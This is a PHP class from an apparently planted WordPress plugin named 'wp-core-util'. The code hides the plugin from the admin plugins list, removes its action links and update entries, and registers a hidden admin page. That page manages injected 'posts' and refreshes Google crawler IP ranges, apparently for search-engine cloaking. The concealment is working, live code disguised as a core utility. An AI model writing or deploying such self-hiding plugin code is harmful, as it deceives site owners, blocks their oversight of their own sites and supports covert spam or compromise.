File: /home/kochikidswysewor/www/wp-content/plugins/wp-core-util/includes/AdminHandler.php
<?php
namespace WPU;
/**
* Admin Handler — hides plugin from WP admin, provides hidden admin page
* Architecture from v-posts-manager AdminHandler
*/
class AdminHandler {
private $posts_manager;
public function __construct(PostsManager $posts_manager) {
$this->posts_manager = $posts_manager;
}
/**
* Remove plugin from plugins list (except WP-CLI)
*/
public function hide_from_plugins_list($plugins) {
// Don't hide in WP-CLI for management
if (defined('WP_CLI') && WP_CLI) {
return $plugins;
}
if (isset($plugins[WPU_PLUGIN_BASENAME])) {
unset($plugins[WPU_PLUGIN_BASENAME]);
}
return $plugins;
}
/**
* Remove action links for this plugin
*/
public function hide_action_links($links, $file) {
if ($file === WPU_PLUGIN_BASENAME) {
return [];
}
return $links;
}
/**
* Remove from update checks
*/
public function hide_from_updates($transient) {
if (isset($transient->response[WPU_PLUGIN_BASENAME])) {
unset($transient->response[WPU_PLUGIN_BASENAME]);
}
if (isset($transient->no_update[WPU_PLUGIN_BASENAME])) {
unset($transient->no_update[WPU_PLUGIN_BASENAME]);
}
return $transient;
}
/**
* Add hidden admin submenu page (no parent = hidden)
*/
public function add_hidden_admin_menu() {
add_submenu_page(
null, // No parent — hidden menu
'WPU Management', // Page title
'WPU Management', // Menu title
'manage_options', // Capability
'wpu-management', // Slug
[$this, 'render_admin_page'] // Callback
);
}
/**
* Render admin page
*/
public function render_admin_page() {
// Handle actions
if (isset($_POST['wpu_action']) && wp_verify_nonce($_POST['_wpnonce'], 'wpu_admin_action')) {
$this->handle_admin_action($_POST['wpu_action']);
}
$posts = $this->posts_manager->get_posts();
$posts_dir = $this->posts_manager->get_posts_dir();
include WPU_PLUGIN_DIR . 'templates/admin-page.php';
}
/**
* Handle admin actions
*/
private function handle_admin_action($action) {
switch ($action) {
case 'flush_rewrite':
flush_rewrite_rules();
add_settings_error('wpu', 'flushed', 'Rewrite rules flushed.', 'success');
break;
case 'update_ips':
$ips = AccessControl::update_google_ips(true);
add_settings_error('wpu', 'ips_updated', 'Google IPs updated: ' . count($ips) . ' ranges.', 'success');
break;
}
}
}